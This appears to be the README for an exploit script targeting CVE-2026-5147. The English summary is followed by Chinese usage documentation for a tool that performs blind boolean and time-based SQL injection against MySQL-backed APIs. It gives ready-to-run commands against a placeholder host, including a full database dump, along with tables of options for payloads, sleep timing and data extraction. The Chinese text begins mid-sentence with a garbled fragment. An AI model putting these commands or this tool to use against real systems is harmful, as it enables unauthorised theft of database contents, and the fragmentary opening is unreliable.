
Exploit script for CVE-2026-5147, performing boolean and time-based blind SQL injection against MySQL interfaces to extract version, database, schema, and data. Includes calibration, dump subcommands, and configurable payloads.
INSTRcode-p instr 或 ascii)。--skip-calibrate:跳过上述校准;仍按布尔 + JSON 字段猜解,不会自动切时间(适合本地调试)。判「真」的 JSON 字段名与取值可通过 --json-code-field、--json-code-true 调整(需与目标 API 一致)。
# 仅域名:按默认路径拼接(见脚本内 DEFAULT_API_PATH)
python cve-2026-5147.py -u target.example.com
# 指定 HTTPS、自定义路径与注入参数名
python cve-2026-5147.py -u target.example.com --https --path /api/foo --param id
# 全库 dump(请求量极大,慎用)
python cve-2026-5147.py -u target.example.com dump
# 只拉表名串,不导数据
python cve-2026-5147.py -u target.example.com dump --schema-only
进度与诊断信息在 stderr,最终汇总在 stdout。
| 参数 | 说明 |
|---|---|
-u / --url | 目标(域名、host:port 或完整 URL),必填 |
--path | 未带路径时拼在主机后的路径(默认租户类接口路径) |
--https | 无 scheme 时使用 https(默认补 http://) |
--param | 注入参数名(默认 website) |
-p / --payload | 布尔片段:instr 或 ascii(时间盲注固定 if+ascii+sleep) |
--timeout | HTTP 超时(秒);进入时间盲注时会自动不低于 sleep+5 |
--sleep | 时间盲注 sleep() 秒数 |
--time-floor | 判真:总耗时 ≥ 该值(秒);默认约 sleep - 1 |
--json-code-field / --json-code-true | 布尔侧信道所读 JSON 字段及「真」值 |
--skip-calibrate | 跳过探针校准 |
--only | version / database / both:只拉版本、只拉库名或两者 |
-H / -P | 附加请求头、额外查询参数,可重复 |
dump 子命令下还有 --schema-only、--dump-out、--dump-row-limit、--dump-select 等,见 python cve-2026-5147.py -h。
| 子命令 | 含义 |
|---|---|
info(默认) | 拉 VERSION()、当前库名 DATABASE()(受 --only 影响) |
dump | 再拉当前库表名、逐表列名与行数据(或仅 schema,见 --schema-only) |
main() 中先 calibrate_sqli_oracle,失败则 effective_detect = "time" 并 bind_time_payload;时间模式再 calibrate_time_oracle。--json-code-field 对齐(不再写死 code)。command 的 argparse 帮助已修正为默认子命令是 info,不是 dump。脚本仅供安全研究与授权测试。使用者需自行确保符合当地法律与目标环境授权范围。